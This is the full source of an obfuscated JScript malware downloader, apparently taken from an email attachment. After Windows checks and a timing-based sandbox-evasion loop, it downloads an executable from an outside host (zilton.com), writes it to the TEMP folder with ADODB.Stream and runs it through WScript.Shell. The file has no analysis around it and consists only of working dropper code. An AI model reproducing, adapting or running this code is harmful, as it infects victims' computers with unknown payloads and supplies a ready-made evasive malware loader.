mail virus

 

var Jt = false;
var G = "CreateObject";
var e0 = function hM() {return WScript[G]("WScript.Shell");}(), JR = 11;
var T = "MSXML2.XMLHTTP";
var N0 = 2123213;
var P = 0;
function Aq(wi){e0["Run"](wi, P, P);};
function iP(){return "" + T;};
function I(St, X){P = P * 1; return St - X;};
function Wi(){return G;};
/*@cc_on
  @if (@_win32 || @_win64)
    Jt = true;
  @end
@*/
if (Jt)
{
var XD = "";
function K(){return 22;};
var e = 0; var s = 0;
function HR()
{
var MY = new this["Date"]();
var vJ = MY["getUTCMilliseconds"]();
WScript["Sleep"](K());
var MY = new this["Date"]();
var UD = MY["getUTCMilliseconds"]();
WScript["Sleep"](K());
var MY = new this["Date"]();
var eL = MY["getUTCMilliseconds"]();
var e = "rb";
e = I(UD, vJ);
var s = "Zn";
s = I(eL, UD);
XD = "open";
return I(e, s);
}
var D = false;
var BI = false;
for (var oB = P; oB < K() * 1; oB++){if (HR() != P){
D = true; 
s = "31" + 11 * e + s; 
BI = true; 
break;
}}
function u() {return ((D == true) && (D == BI)) ? 1 : P;};
if (D && u() && BI){
function bA() {return e0["ExpandEnvironmentStrings"]("%TE"+"MP%/") + "oIkhBwfGP8Ou9.exe";};
 Wj = iP();
 Hg = WScript[G](Wj);
 var ug = 1;
 while (ug){
try {
Hg[XD]("GET", "http://zilton.com/o9qwp", false);
Hg["send"]();
g = "Sleep";
for (;;){WScript[g](K() * 11); if (Hg["readystate"] >= 2 * 2) break;};
ug = P;
} catch(Dw){};
}
function N(lP) {var M = (1, 2, 3, 4, 5, lP); return M;};
p = WScript[Wi()]("ADODB.Stream");
Wj = p;
Wj[XD]();
Wj["type"] = N(1);
Wj["write"](Hg["ResponseBody"]);
p["position"] = N(P);
Wj["Save" + "ToFile"](bA(), 2);
p["c"+"lose"]();
l = bA();
Aq(l);
}
}